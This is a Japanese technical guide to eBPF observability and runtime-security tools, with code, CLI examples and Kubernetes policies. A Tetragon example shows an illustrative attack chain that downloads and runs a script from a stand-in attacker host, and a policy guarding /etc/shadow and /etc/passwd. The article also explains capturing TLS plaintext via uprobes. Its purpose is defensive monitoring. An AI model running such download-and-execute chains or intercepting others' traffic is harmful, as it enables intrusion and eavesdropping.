Skip to content
Published on

eBPF 観測性 2026 — Pixie / Parca / Cilium Hubble / Tetragon / Beyla / Coroot / Falco 徹底ガイド

🇰🇷KO🇺🇸EN🇯🇵JA
Split View필사 모드
Authors

eBPF がインフラの「神経系」になった 2026 年

5 年前、eBPF は「Linux カーネルハッカーの面白い玩具」程度に扱われていた。2026 年の今、eBPF は以下の領域で事実上の標準である。

  • ネットワーク — Cilium が GKE、EKS、AKS の既定 CNI オプションとなり、kube-proxy を置き換えつつある
  • 観測性 — Pixie、Parca、Beyla、Coroot が「コード変更なしの自動計装」を現実にした
  • セキュリティ — Tetragon、Falco がランタイムセキュリティの事実上の標準
  • スケジューリング — sched_ext (CONFIG_SCHED_CLASS_EXT) が Linux 6.12 からメインラインに入り、Meta と Google が独自スケジューラを本番運用している
  • 電力 — Kepler が CNCF Incubating 入りし、データセンターの carbon footprint 計測の事実上の標準になった

本記事では 2026 年時点の eBPF エコシステムを上から下まで概観する。各ツールが何をしているのか、なぜそう動くのか、韓国と日本のビッグテックでどう採用されているのかを整理する。

1. 2026 年の eBPF — 4 つのドメインの事実上の標準

まず全体像から描こう。eBPF は今、4 つの領域で同時に標準として固まりつつある。

┌──────────────────────────────────────────────────────────────────────────┐
│             eBPF ドメイン別 2026 年事実上の標準                              │
├──────────────────────────────────────────────────────────────────────────┤
│ ネットワーク / CNI    │ Cilium (CNCF Graduated 2023)                       │
│   - ネットワーク観測性│ Hubble (Cilium の姉妹プロジェクト)                  │
│   - kube-proxy 置換    │ Cilium kube-proxy replacement                      │
│   - サービスメッシュ   │ Cilium Service Mesh (サイドカーレス Envoy)         │
├──────────────────────────────────────────────────────────────────────────┤
│ 観測性 (トレース)     │ Pixie (CNCF Sandbox、New Relic 後援 / OSS)         │
│ 観測性 (プロファイル) │ Parca / Grafana Pyroscope                          │
│ 観測性 (自動計装)     │ Grafana Beyla / OpenTelemetry eBPF Collector       │
│ 観測性 (自動推論)     │ Coroot                                             │
│ k8s 診断ツール        │ Inspektor Gadget (Microsoft、CNCF Sandbox)         │
├──────────────────────────────────────────────────────────────────────────┤
│ セキュリティ (ランタイム)│ Falco (CNCF Graduated 2024) / Tetragon (Isovalent)│
│   - ポリシーシグナル    │ Cilium Tetragon                                   │
│   - syscall 監査        │ Falco                                             │
├──────────────────────────────────────────────────────────────────────────┤
│ 電力 / サステナビリティ│ Kepler (CNCF Incubating)                           │
│ スケジューリング        │ sched_ext (Linux 6.12+、Meta scx スケジューラ)     │
└──────────────────────────────────────────────────────────────────────────┘

興味深いのは、これら 4 領域の共通点が「カーネル内で安全にコードを実行する」という単一の技術の上に成り立っていることだ。それがどうやって可能なのかを次章で見る。

2. eBPF の基礎 — なぜカーネルを「安全に」拡張できるのか

eBPF は extended Berkeley Packet Filter の略だが、名前が意味する範囲よりはるかに広い。本質は「ユーザ空間が書いた小さなプログラムを、検証付きでカーネル文脈で実行できる仮想マシン」である。

従来のカーネル拡張手段

  1. カーネルモジュール (.ko) — 強力だが危険。間違ったモジュールはカーネルパニックを起こす
  2. kprobes / uprobes / tracepoints — 安全だがデータ収集の幅が限定的
  3. systemtap — スクリプト言語に見えるが、最終的にはカーネルモジュールにコンパイルされる

eBPF のアプローチ

ユーザ空間                          カーネル空間
──────────                          ──────────
[C ソース]                          [eBPF VM]
   │                                 ▲
   ▼                                 │
[Clang/LLVM] ──▶ [eBPF bytecode] ──▶ [Verifier]
                                     │
                                     ▼
                                  [JIT コンパイラ]
                                     │
                                     ▼
                                  [ネイティブコード]
                                     │
                                     ▼
                       [フック地点: kprobe, tracepoint, XDP, sched ...]

中核は Verifier。eBPF プログラムはカーネルにロードされる前に次を検証される。

  • 無限ループなし — 後方ジャンプは明示的に上限付き (bounded loop、Linux 5.3+)
  • 有効なメモリアクセスのみ — ポインタ追跡、範囲チェック
  • 終了保証 — 実行時間の上限 (1M 命令、Linux 5.2+)
  • ヘルパー関数のみ — 任意のカーネル関数は呼べず、ホワイトリストされたヘルパーのみ呼び出し可

この verifier のおかげで、ユーザは「カーネル内で動くのにカーネルを壊せない」コードを書ける。これが eBPF の魔法である。

eBPF プログラムのライフサイクル

// Hello eBPF (libbpf スタイル)
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>

SEC("tracepoint/syscalls/sys_enter_openat")
int trace_openat(void *ctx) {
    char msg[] = "openat called\n";
    bpf_trace_printk(msg, sizeof(msg));
    return 0;
}

char LICENSE[] SEC("license") = "GPL";

# コンパイル
clang -O2 -target bpf -c hello.c -o hello.o

# ロード (bpftool を使う)
sudo bpftool prog load hello.o /sys/fs/bpf/hello
sudo bpftool prog attach pinned /sys/fs/bpf/hello tracepoint syscalls sys_enter_openat

# トレース出力を見る
sudo cat /sys/kernel/debug/tracing/trace_pipe

この単純な例が示すのは: openat システムコールが呼ばれるたび、カーネルが我々の書いた検証済みコードを実行する。プロセスがどのファイルを開くのか追跡できる。

3. CO-RE 革命 — Compile Once, Run Everywhere

eBPF 初期最大の問題は カーネルバージョン互換性 だった。カーネル内部の構造体はバージョンごとに違う。例えば task_struct のあるフィールドは 5.4 でオフセット 200、5.10 で 224、6.5 で 248 に位置する。

なので古い BCC は「ランタイムにカーネルヘッダを使って Clang でコンパイルする」方式だった。欠点:

  • 全ノードに Clang + カーネルヘッダの導入が必要 (数百 MB)
  • 起動時間が数秒〜数十秒
  • 本番環境でコンパイラを動かすことへの抵抗感

CO-RE の仕組み

CO-RE は BTF (BPF Type Format) と libbpf の再配置機能でこの問題を解く。

コンパイル時:
  eBPF.c ── Clang/LLVM ──▶ BPF bytecode + BTF 情報 (構造体メンバ参照のメタデータ)

ランタイム:
  実行中のカーネルの BTF (/sys/kernel/btf/vmlinux) と比較
  ──▶ libbpf がオフセットを再計算
  ──▶ bytecode のメモリアクセス命令をパッチ
  ──▶ verifier を通過後ロード

中心マクロは BPF_CORE_READ()。昔はこう書いた。

// BCC 方式 (ランタイムコンパイル)
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
pid_t ppid;
bpf_probe_read(&ppid, sizeof(ppid), &task->real_parent->tgid);

今はこう書く。

// CO-RE 方式 (一度コンパイル、どこでも動く)
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
pid_t ppid = BPF_CORE_READ(task, real_parent, tgid);

この小さな違いがもたらした変化は巨大だ。コンテナイメージのサイズが 100 MB ではなく 5 MB になり、起動時間が即時化した。Cilium、Pixie、Tetragon、Inspektor Gadget など現代の eBPF ツールはすべて CO-RE を基盤とする。

BTF 必須、カーネルヘッダ不要

2026 年時点で Ubuntu 22.04+、RHEL 9+、Amazon Linux 2023+、Bottlerocket は既定で BTF を同梱する (/sys/kernel/btf/vmlinux)。古いカーネルを使う場合は BTFHub (https://github.com/aquasecurity/btfhub) が外部 BTF を提供する。

4. Pixie — Kubernetes 自動計装の決定版

Pixie は New Relic が買収して OSS 化 (Apache 2.0) した Kubernetes 観測性プラットフォームである。CNCF Sandbox にあり、2026 年に入ってからは Incubating 候補とも噂されている。

Pixie が解く問題

従来の APM は次のうちひとつを強いる。

  1. 全サービスにエージェントを入れる (Datadog、New Relic APM)
  2. 全サービスに OpenTelemetry SDK をコードで埋め込む
  3. サービスメッシュのサイドカーを敷く (Istio、Linkerd)

3 つとも コード変更または配備変更 が必要だ。Pixie の約束は違う。「YAML 一枚でクラスタにインストールしたら、その瞬間からすべてのトラフィックが見える。」

アーキテクチャ

                 ┌──────────────────────────────┐
                 │   Pixie UI / Pixie CLI       │
                 │   PxL クエリ言語 (Python 風)  │
                 └──────────────┬───────────────┘
                                │ gRPC
                ┌───────────────▼─────────────────┐
                │   Pixie Cloud (任意、自己ホスト可)  │
                │   または Pixie Vizier (クラスタ内)  │
                └───────────────┬─────────────────┘
                                │
   ┌────────────────────────────┼────────────────────────────┐
   ▼                            ▼                            ▼
┌───────┐                  ┌───────┐                   ┌───────┐
│ PEM   │                  │ PEM   │                   │ PEM   │
│ (ノード)│                 │ (ノード)│                  │ (ノード)│
└─┬─────┘                  └─┬─────┘                   └─┬─────┘
  │ eBPF                     │ eBPF                      │ eBPF
  ▼                          ▼                           ▼
[カーネルトレース]         [カーネルトレース]            [カーネルトレース]

PEM = Pixie Edge Module (DaemonSet)
データはノードメモリに 24 時間のみ保持 (長期保存は Iceberg/S3 連携)

PEM がノードごとに立ち、次を自動キャプチャする。

  • HTTP/HTTP2/gRPC リクエスト・レスポンス (header + body)
  • MySQL、PostgreSQL、Redis、Kafka、MongoDB のクエリ
  • DNS クエリ
  • TCP/UDP 接続、再送、RTT
  • CPU プロファイル (perf_event)

TLS も見える

最も印象的な部分。HTTPS トラフィックが見える。どうやって? OpenSSL の SSL_read / SSL_write に uprobe を仕掛け、暗号化直前・復号直後の平文を観測する。

// 単純化した擬似コード
SEC("uprobe/SSL_write")
int trace_ssl_write(struct pt_regs *ctx) {
    void *buf = (void *)PT_REGS_PARM2(ctx);
    size_t len = (size_t)PT_REGS_PARM3(ctx);
    // buf の先頭 N バイトを perf buffer へ送る
    ...
}

Go バイナリは静的リンクされているのでもう少し複雑だ。Pixie は Go の TLS ライブラリ (crypto/tls.(*Conn).Read/Write) のシンボルを探して uprobe を仕掛ける。

PxL クエリ例

# 直近 5 分で最も遅い HTTP エンドポイント Top 10
import px

df = px.DataFrame(table='http_events', start_time='-5m')
df = df[df.resp_status >= 200]
df.endpoint = df.req_path
df = df.groupby('endpoint').agg(
    p50=('latency', px.quantiles(0.50)),
    p99=('latency', px.quantiles(0.99)),
    count=('latency', px.count),
)
df = df.sort('p99', desc=True).head(10)
px.display(df)

PxL は Python に似た DSL だが、実体は C++ バックエンドでコンパイル・実行される。全クエリが PEM 上のインメモリデータで実行されるので高速だ。

限界

  • 長期ストレージなし — 既定 24 時間。長く保管したければ Pixie を OpenTelemetry でエクスポートし、別バックエンド (Honeycomb、Tempo、Iceberg) に送る
  • リソース消費 — PEM はノード当たりメモリ 1–2 GB を既定で占有。小さいノードでは負担
  • HTTPS は uprobe マッチングが鍵 — 静的 OpenSSL リンクや非標準 TLS ライブラリで難易度が上がる

それでも Pixie は「eBPF 自動計装が何をできるか」を見せた決定版である。

5. Parca — 継続的プロファイリング

Parca は Polar Signals (Frederic Branczyk が創った会社) の OSS 継続的プロファイリングツールである。2026 年時点で CNCF Sandbox。

「継続的プロファイリング」とは

従来のプロファイリングは「異常があればその時に perf record を動かして解析」だった。継続的プロファイリングは 常に低オーバヘッド (通常 1%) で全プロセスをプロファイリングし、データを保存する。それで「先週火曜の 3 時にメモリが跳ねた」のような事後解析が可能になる。

Parca の特徴

別の選択肢:
  - perf record → 手動、データが巨大
  - py-spy / pyroscope → 言語別エージェント
  - Datadog Continuous Profiler → 有料、プロプライエタリ

Parca のアプローチ:
  - parca-agent: DaemonSet でノードあたり 1 つ
  - eBPF で 99 Hz スタックサンプリング (perf_event)
  - Go、Rust、C/C++、Python、Java、Node.js を単一エージェントで
  - DWARF ベースのスタック巻き戻し (libunwind 不要、カーネル内で)
  - pprof 互換フォーマットで保存 (Parca Server)

ノード別スタックサンプリングの難しさ

スタックを 99 Hz でサンプリングするとは、1 秒に 99 回、全 CPU で現在実行中の関数のコールスタックを取得するという意味だ。コールスタックは stack pointer (rbp レジスタ) を辿るのが定石だが、現代のコンパイラは最適化のために frame pointer を省く (-fomit-frame-pointer)。

打開策は 2 つ。

  1. Frame pointer を再有効化 — Fedora 38+、Ubuntu 24.04+ がライブラリ群を frame pointer 有効でビルドし直した (本当に大きな転換だった)
  2. DWARF ベースの巻き戻し — DWARF eh_frame セクションを読み、stack pointer の変換ルールを得る。Parca はこれを eBPF 内で行う

Parca は DWARF unwind 情報を事前に BPF map にロードし、サンプリング時に参照してコールスタックを復元する。この技術は Polar Signals が Linux コミュニティと作り上げたものであり、今や Grafana Pyroscope、Datadog の profiler もすべて同じアプローチを取る。

フレームグラフ

収集したスタックデータはフレームグラフ (Brendan Gregg が発明した可視化) で見る。

            ┌──────────────────────────────────────┐
            │  main (100%)                          │
            ├────────────┬─────────────────────────┤
            │  http (80%) │  db.query (15%)         │
            ├─────┬──────┼────────┬────────────────┤
            │a(40)│b(40) │parse(5)│ exec(10)        │
            └─────┴──────┴────────┴────────────────┘

横幅 = CPU 時間比率
上方向 = 呼び出し深さ

Parca vs Pyroscope vs Datadog

ツールOSS多言語単一エージェントDWARF unwindバックエンド
ParcaApache 2.0はいはいParca Server (Go)
Grafana PyroscopeAGPL部分 (eBPF エージェント別)はいPyroscope Server
DatadogクローズドはいはいSaaS
pprof + go pprof標準いいえコンパイラ依存ファイル

2026 年の流れは Grafana Pyroscope + Parca 互換フォーマットへの収束。pprof は事実上の標準交換フォーマットになった。

6. Cilium Hubble — Kubernetes ネットワーク観測性

Cilium は 2023 年に CNCF Graduated になり、2026 年時点で GKE Dataplane v2、EKS Anywhere、AKS Advanced の既定オプションだ。Hubble は Cilium の姉妹プロジェクトで、ネットワーク流量を観測する。

kube-proxy の限界

既存の kube-proxy は iptables または IPVS ルールで ClusterIP ルーティングを行う。問題:

  • サービス数が増えると iptables ルールが数万 — パケットごとに O(n) マッチング (IPVS はハッシュだが conntrack 負担)
  • L7 ルーティング不可
  • ポリシー可視性が乏しい (どのパケットがなぜ落ちたか不明)

Cilium のアプローチ

TC ingress hook ─▶ eBPF プログラム ─▶ ルーティング / ポリシー / ロギング
                                    ├─▶ DROP / FORWARD / REDIRECT
                                    └─▶ Hubble へイベント送信

kube-proxy 置換: サービスマッピングを BPF map に保存、パケット到着時に O(1) ルックアップ
ネットワークポリシー: L3-L7 を全て BPF で評価
サービスメッシュ: Envoy をサイドカーレス (per-node) で

Hubble UI

Hubble は Cilium が放出する流量イベントを集めて次を表示する。

  • リアルタイムサービス依存グラフ
  • L7 メトリクス (HTTP status 分布、メソッド分布)
  • DNS クエリ流量
  • ポリシー違反 (DENY 理由含む)
# CLI でリアルタイム流量を見る
hubble observe --namespace prod --follow

Mar 15 10:23:01.234 prod/frontend-7f6d-xqz -> prod/api-3-abc:8080 SYN
Mar 15 10:23:01.235 prod/frontend-7f6d-xqz -> prod/api-3-abc:8080 ACK
Mar 15 10:23:01.240 prod/frontend-7f6d-xqz -> prod/api-3-abc:8080 HTTP/1.1 GET /v1/users/me (200, 5ms)

# L7 統計
hubble observe --http-status 500 --since 5m --output table

Cilium Network Policy の例

apiVersion: cilium.io/v2
kind: CiliumNetworkPolicy
metadata:
  name: api-only-from-frontend
spec:
  endpointSelector:
    matchLabels:
      app: api
  ingress:
    - fromEndpoints:
        - matchLabels:
            app: frontend
      toPorts:
        - ports:
            - port: '8080'
              protocol: TCP
          rules:
            http:
              - method: GET
                path: '/v1/.*'
              - method: POST
                path: '/v1/orders'

このポリシーは L7 (HTTP メソッド + パス) まで強制する。既存の NetworkPolicy では不可能だった。

Hubble Timescape

2025 年に追加された機能。Hubble の流量データを Iceberg に長期保存し、「先週のトラフィックパターン」を解析できる。セキュリティインシデントの事後調査に決定的だ。

7. Tetragon — Isovalent のセキュリティ観測性

Tetragon は Cilium を作った Isovalent (今は Cisco) のセキュリティ観測性 / ランタイムセキュリティツールである。2024 年に CNCF Incubating 入り。

Falco と何が違うか

Falco はシステムコールにフックを掛けてルールベースで検知する。Tetragon は似ているが次が違う。

観点FalcoTetragon
フック方式libbpf modern eBPF + kernel module (legacy)純 eBPF、CO-RE ベース
ポリシー言語YAML ルール (Sysdig 互換)TracingPolicy (CRD)
リアルタイム遮断部分的 (BPF helper)強力 (sigkill、override)
プロセス文脈豊富豊富 + 親 / 祖父 / exec ancestry
k8s 統合良好非常に強力 (Pod メタデータを自動付与)

リアルタイム遮断の意味

Tetragon は BPF ヘルパー bpf_send_signal() で違反プロセスに SIGKILL を送れる。つまり「検知後通知」ではなく「検知即遮断」だ。

apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: block-sensitive-file-access
spec:
  kprobes:
    - call: 'security_file_open'
      syscall: false
      args:
        - index: 0
          type: 'file'
      selectors:
        - matchArgs:
            - index: 0
              operator: 'Prefix'
              values:
                - '/etc/shadow'
                - '/etc/passwd'
          matchActions:
            - action: 'Sigkill'

このポリシーが適用されると、どのプロセスでも /etc/shadow を開こうとした瞬間にカーネル文脈で SIGKILL が発火する。ユーザ空間エージェントが起きて判断するわけではない。これが可能なのは verifier を通ったコードがカーネル内で直接実行されるからだ。

Process Ancestry

Tetragon が自慢する別の機能。全イベントが「このプロセスがどう生成されたか」を追跡できる。

プロセス sshd (pid 1234, uid 0)
  └─ bash (pid 1235, uid 0)
       └─ wget http://attacker.com/x.sh (pid 1240, uid 0)
            └─ sh x.sh (pid 1241, uid 0)
                 └─ /tmp/x (pid 1245, uid 0)  ← 違反発生

この ancestry は eBPF で task_struct->real_parent を辿って作られる。セキュリティインシデント解析で「この小さな違反の本当の起点はどこだったか」を即座に把握できる。

8. BCC + bpftrace — 伝統的なトレーシングツール

上のツール群が「本番デーモン」だとすれば、BCC と bpftrace は「エンジニアが SSH で入って直接動かす」トレーシングツールである。Brendan Gregg の書籍「BPF Performance Tools」(2019) 以後、標準になった。

BCC vs bpftrace

  • BCC: Python または C++ でラッパを書く大きめのフレームワーク。複雑なツール群 (opensnoop、execsnoop、biolatency、tcplife など 200+ 個)
  • bpftrace: awk 風の単一行 DSL。その場でトレース可能

bpftrace のワンライナーマジック

# 1) どのプロセスがどのファイルを開いたか (3 秒間)
sudo bpftrace -e 'tracepoint:syscalls:sys_enter_openat { printf("%s opens %s\n", comm, str(args->filename)); }' -c 'sleep 3'

# 2) ディスク I/O レイテンシのヒストグラム
sudo bpftrace -e '
  kprobe:vfs_read { @start[tid] = nsecs; }
  kretprobe:vfs_read /@start[tid]/ {
    @ns = hist(nsecs - @start[tid]);
    delete(@start[tid]);
  }
'

# 3) どの関数が最も多く呼ばれるか (10 秒間)
sudo bpftrace -e 'profile:hz:99 { @[kstack(3)] = count(); }' -c 'sleep 10' | head -20

# 4) TCP 再送のたびに宛先を表示
sudo bpftrace -e '
  kprobe:tcp_retransmit_skb {
    $sk = (struct sock *)arg0;
    printf("retransmit %s\n", ntop($sk->__sk_common.skc_daddr));
  }
'

BCC の標準ツール群

bcc-tools (Ubuntu/Debian) または bpftrace (CO-RE ビルド) を入れた後、/usr/sbin/ または /usr/share/bcc/tools/ に次が使える。

# どのプロセスが新しく立ち上がったか
sudo execsnoop-bpfcc

# どのファイルが開かれたか
sudo opensnoop-bpfcc

# TCP 接続のライフ
sudo tcplife-bpfcc

# ブロック I/O レイテンシのヒストグラム
sudo biolatency-bpfcc

# CPU 上位
sudo profile-bpfcc 10

こうしたツールの価値

上で見た Pixie、Parca、Hubble は「常時オン」のツールだ。一方 BCC/bpftrace は「障害時にその場で答えを得る」ツールだ。両方が必要だ。

Brendan Gregg の「Systems Performance」(第 2 版、2020) と「BPF Performance Tools」(2019) がこの分野のバイブルである。

9. OpenTelemetry eBPF Collector + Grafana Beyla — 自動計装の標準化

OpenTelemetry は CNCF の観測性標準だ。2025 年に入って eBPF ベースの自動計装は 2 つの流れで固まった。

OpenTelemetry eBPF Collector

opentelemetry-ebpf プロジェクトは OpenTelemetry 公式コンポーネントである。Splunk が主導して作り、次を自動収集する。

  • ネットワーク流量メトリクス (kprobe ベース)
  • DNS、TCP、UDP 統計
  • Pod/Service/Workload ラベル付け (k8s 統合)

OTLP で吐くので、どのバックエンド (Tempo、Jaeger、Honeycomb、Datadog) でも受けられる。

Grafana Beyla

Beyla は Grafana Labs が作った Go ベースの eBPF 自動計装エージェントである。2024 年に GA。特徴。

  • HTTP、gRPC、SQL、Redis のようなプロトコルを uprobe で自動認識
  • TLS トラフィックも OpenSSL/Go TLS の関数にフックして平文キャプチャ
  • 分散トレースコンテキスト (W3C traceparent) も抽出
  • OTLP、Prometheus、Mimir へエクスポート
# 単純実行 (どのプロセスを追うかを BEYLA_EXECUTABLE_NAME で指定)
BEYLA_EXECUTABLE_NAME=myapp \
BEYLA_PROMETHEUS_PORT=9090 \
BEYLA_OPEN_PORT=8080 \
sudo beyla

# k8s で DaemonSet として
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: beyla
spec:
  template:
    spec:
      hostPID: true # ホストの他プロセスを見るため
      containers:
        - name: beyla
          image: grafana/beyla:latest
          securityContext:
            privileged: true # 単純化: 実際は CAP_SYS_ADMIN、CAP_BPF のみで十分
          env:
            - name: BEYLA_DISCOVERY_SERVICES
              value: 'k8s:.*' # 全ての k8s サービスを自動発見
            - name: BEYLA_OTEL_ENDPOINT
              value: 'http://otel-collector:4318'

Beyla vs Pixie

観点BeylaPixie
後援Grafana LabsNew Relic
ライセンスApache 2.0Apache 2.0
データモデルOTLP (標準)PxL クエリ (独自)
バックエンドTempo、Jaeger、任意の OTLP バックエンドPixie Vizier + エクスポート
強みOTel エコシステム統合インメモリクエリ、リッチな UI

2026 年のトレンドは明確だ。自動計装は事実上すべて OpenTelemetry へ向かう道であり、Beyla / Pixie / Coroot がその道を整備している。

10. Coroot — 自動推論観測性

Coroot は 2023 年に登場した比較的新しいプロジェクトだが、「自動推論 (auto-inferred)」観測性というアプローチで急速に地位を確立した。OSS (Apache 2.0)。

「自動推論」とは

伝統的な観測性は人間が次を設定しなければならない。

  • どの指標が SLO か
  • どのサービスがどの他サービスに依存するか
  • アラート閾値は何か
  • どのログパターンがエラーか

Coroot の約束: 「これら全てを eBPF で観測し、自動推論する。」

Coroot が自動で作るもの:
  1. サービス依存グラフ (ネットワーク流量から)
  2. SLO 候補 (HTTP/gRPC トラフィック解析)
  3. データベースクエリのグルーピング (正規化後に自動分類)
  4. アラート候補 (異常検知ベース)
  5. コスト / リソース効率の解析

構成

Coroot もノード別エージェント (coroot-node-agent) を立てる。このエージェントが eBPF で次をキャプチャする。

  • TCP 接続、RTT、再送
  • HTTP/HTTPS (uprobe で TLS キャプチャ)
  • DB プロトコル (PostgreSQL、MySQL、Redis、MongoDB)
  • ファイル I/O、CPU 使用

収集データは Coroot Server (Go) が Prometheus、ClickHouse をバックエンドに保存する。

自動推論の例

Coroot の UI に入ると、次のような画面が即座に見える。

  • 「frontend -> api -> postgres -> s3」依存グラフ
  • 各エッジの RPS、p99 レイテンシ、エラー率
  • 「postgres に向かうクエリのうち SELECT * FROM users WHERE ... が p99 200 ms で最も遅いクエリ」
  • 「frontend ノード ip-10-0-1-23 はベースラインより CPU が 30% 高い」

これが全部自動。誰もダッシュボードを組み立てていない。小さなチームに特に有用だ。

限界

Coroot は「標準」よりも「便利さ」寄りだ。バックエンドは Prometheus + ClickHouse なのでデータ互換性は良いが、データモデルが独自なので Datadog や Honeycomb に既に慣れた組織には追加の学習が必要になる。

11. Inspektor Gadget / Kepler / Falco — 小粒だが重要な 3 つ

Inspektor Gadget (Microsoft、CNCF Sandbox)

Inspektor Gadget は Microsoft が後援する「eBPF で作った k8s デバッグツール集」である。kubectl プラグインとして動作する。

kubectl gadget trace exec   # クラスタ全体で新しく立つプロセスを追跡
kubectl gadget trace open   # どのファイルが開かれるか
kubectl gadget trace dns    # DNS クエリ流量
kubectl gadget snapshot socket  # 全ノードの開いているソケットのスナップショット
kubectl gadget top file     # ファイル I/O 使用量上位

内部的には BCC ツール群をラップする形から始まり、今は独自の IG (Inspektor Gadget) framework へ進化した。CO-RE ベース。

Kepler (Sustainable Computing)

Kepler (Kubernetes Efficient Power Level Exporter) は CNCF Sandbox で開始し、2025 年に Incubating 昇格。コンテナ単位の電力使用量を計測する。

方法は賢い。CPU カウンタ (RAPL: Running Average Power Limit)、ディスク I/O、ネットワーク I/O を eBPF でコンテナ単位に attribution した後、機械学習モデルでワット単位の電力を推定する。

# Prometheus メトリクスとして公開
kepler_container_joules_total{container_name="myapp"} 12345.6
kepler_container_other_joules_total{...}

このデータで Carbon Footprint 計算機 (Cloud Carbon Footprint) が連動し「このサービスが 1 ヶ月に何 kg の CO2 を排出したか」を表示する。ESG レポートと FinOps に直結する。

Falco (CNCF Graduated)

Falco は 2024 年に CNCF Graduated。本質は「システムコールにフックを掛けてルールを評価するランタイムセキュリティエンジン」である。

# falco_rules.yaml の抜粋
- rule: Write below etc
  desc: an attempt to write to any file below /etc
  condition: write_etc_common
  output: 'File below /etc opened for writing (user=%user.name command=%proc.cmdline file=%fd.name parent=%proc.pname)'
  priority: ERROR
  tags: [filesystem, mitre_persistence]

Falco は modern eBPF probe (libbpf ベース) が既定になり、古いカーネルモジュールドライバは廃止された。ルールセットは「Falco Rules」公式リポジトリに 600+ 個あり、ほとんどの MITRE ATT&CK カテゴリをカバーする。

Tetragon と Falco は競合関係だが、しばしば併用される。Falco はルールセットが豊富で、Tetragon はリアルタイム遮断が強力だ。

12. Windows eBPF / macOS eBPF — 他 OS への拡張

eBPF はもはや Linux 専用の技術ではない。

eBPF for Windows (Microsoft)

Microsoft は 2021 年に eBPF for Windows プロジェクトを開始した。2026 年時点で安定版が Windows Server 2025 に同梱され、Azure で本番運用が始まっている。

Linux 互換:
  - libbpf 互換 API
  - 同じ .o ファイルを (大半が) どちらでもロード可
  - BPF_PROG_TYPE_XDP、BPF_PROG_TYPE_BIND、BPF_PROG_TYPE_CGROUP_SOCK など主要タイプ

差異:
  - Verifier は PREVAIL (Microsoft 別実装、学術的に検証済み)
  - JIT は Microsoft uBPF ベース
  - フックポイントは NDIS (ネットワークドライバスタック) 中心

Azure のセキュリティチームが Tetragon スタイルのフックを Windows VM で動かしており、Cilium の Windows ノード対応も進行中だ。ゲームチェンジャーとまでは言わないが、「eBPF は Linux 専用」という認識は急速に薄れている。

macOS と Apple Silicon

Apple は公式に eBPF をサポートしない。macOS の kqueue、DTrace、Endpoint Security API が似た役割を果たす。ただし 2025 年に入って Apple Silicon 上で Linux VM (Lima、Tart、OrbStack) を介して eBPF ツールを動かす流れが定着した。Asahi Linux は ARM eBPF サポートが良好だ。

実験的に mac-bpf、ebpf-darwin のような非公式ポーティングの試みはあるが、本番使用は事実上ない。macOS では Linux VM 内で eBPF を使うのが正解だ。

13. 韓国 / 日本での採用 — Toss、Kakao、LINE、Mercari

Toss — Cilium + Hubble + Tetragon を全社標準に

Toss は 2024 年の開発者会議 SLASH で自社インフラが EKS + Cilium ベースであると発表した。中核の動機は kube-proxy の iptables ルール爆発問題だった。Cilium 導入後:

  • ノードあたり iptables ルール数が 1 万+ から ほぼ 0 へ
  • サービスディスカバリのレイテンシ p99 が低下
  • Hubble でマイクロサービス依存を可視化
  • セキュリティ上重要な一部ドメインで Tetragon によるランタイム遮断

SLASH 24 の発表資料は YouTube に公開されている。

Kakao — eBPF ベースの社内トレーシング

Kakao は ifkakao 2024 で eBPF ベースの社内トレーシングシステムを紹介した。中核は BCC + 自社コレクタで RPC コールとデータベースクエリを自動キャプチャすること。Pixie を評価したが内製を選択した。

LINE / LY Corporation

LINE は LINE Engineering ブログで eBPF 活用事例を複数回公開している。特にメッセンジャートラフィックの TCP 再送解析、Kafka クラスタのネットワークデバッグに bpftrace を積極的に使う。

Mercari — 継続的プロファイリングの導入

Mercari は 2024 年に Mercari Engineering ブログで Grafana Pyroscope (Parca 互換) を本番投入した事例を共有した。Go マイクロサービス 100+ 個の CPU ホットスポットを発見し、EC2 コストを削減。

Yahoo Japan / LY Corporation

Yahoo! JAPAN は 2023 年から eBPF ベースのネットワーク観測性を運用している。自社コレクタでノードの全 TCP 流量をキャプチャし、ClickHouse に保存する。

14. 導入判断ガイド — 何をいつ使うか

最後に実戦的な判断ガイド。「最初から全部導入」せず、段階的に行こう。

ステージ 1 — ネットワーク可視性が必要か

Cilium + Hubble から始める。CNI を換えるのは短期的に最大の変更だが、長期的に最大の見返りを生む。新規クラスタなら問答無用で Cilium。

ステージ 2 — APM がない、または高すぎる

Beyla (OTel フレンドリー) か Pixie (インメモリクエリ) を 1 クラスタに敷いてみる。1 ヶ月以内に「どのサービスが遅いか」が見える。

ステージ 3 — プロファイルデータが必要

Parca か Grafana Pyroscope を敷く。Go/Rust/Java のワークロードで CPU ホットスポットが即座に見える。AI インフラのように CPU/メモリが高価なワークロードで効果大。

ステージ 4 — ランタイムセキュリティが必要

Falco から始める。ルールセットが豊富で導入が容易だ。リアルタイム遮断が本当に必要なら Tetragon を追加で。

ステージ 5 — k8s のデバッグが多い

Inspektor Gadget を kubectl プラグインとしてインストール。kubectl gadget trace exec のようなコマンドを日常的に使うようになる。

ステージ 6 — リソース / 電力モニタリングが必要

Kepler で電力計測。Coroot で自動推論ダッシュボード。

ステージ 7 — トラブルシューティングツール

BCC + bpftrace は常にインストール。SSH で入ってその場でデバッグする時用。

アンチパターン

  • 全ツールを敷く — リソースオーバヘッドが累積し、運用負担が増える。ツールあたりノードメモリ 100–500 MB 加算
  • CO-RE 非対応の古いカーネル — Linux 5.4 未満なら最優先でアップグレード
  • BTF なしのカーネル — /sys/kernel/btf/vmlinux がなければ BTFHub 依存
  • privileged DaemonSet 乱発 — CAP_BPF、CAP_PERFMON、CAP_NET_ADMIN を明示付与し、root を避ける
  • 自動遮断を早く有効化しすぎる — Tetragon の Sigkill アクションは誤設定で健全なプロセスを殺す。まずアラートモードで運用、パターン確認、それから遮断モード

まとめ — eBPF がインフラエンジニアリングの既定ツールになった理由

eBPF の爆発的な成長には明確な理由がある。

  1. CO-RE で運用が楽になった — カーネルヘッダ、コンパイラが不要
  2. 安全性 — verifier が保証する隔離はカーネルモジュールでは実現できなかったこと
  3. 性能 — フックのコストは通常 100 ns 未満、本番環境で常時オンにできる
  4. 標準化 — OpenTelemetry でデータモデルが収束、CNCF がツールを保証
  5. 多言語 — 同じエージェント 1 つで Go、Rust、C++、Python、Java が見える

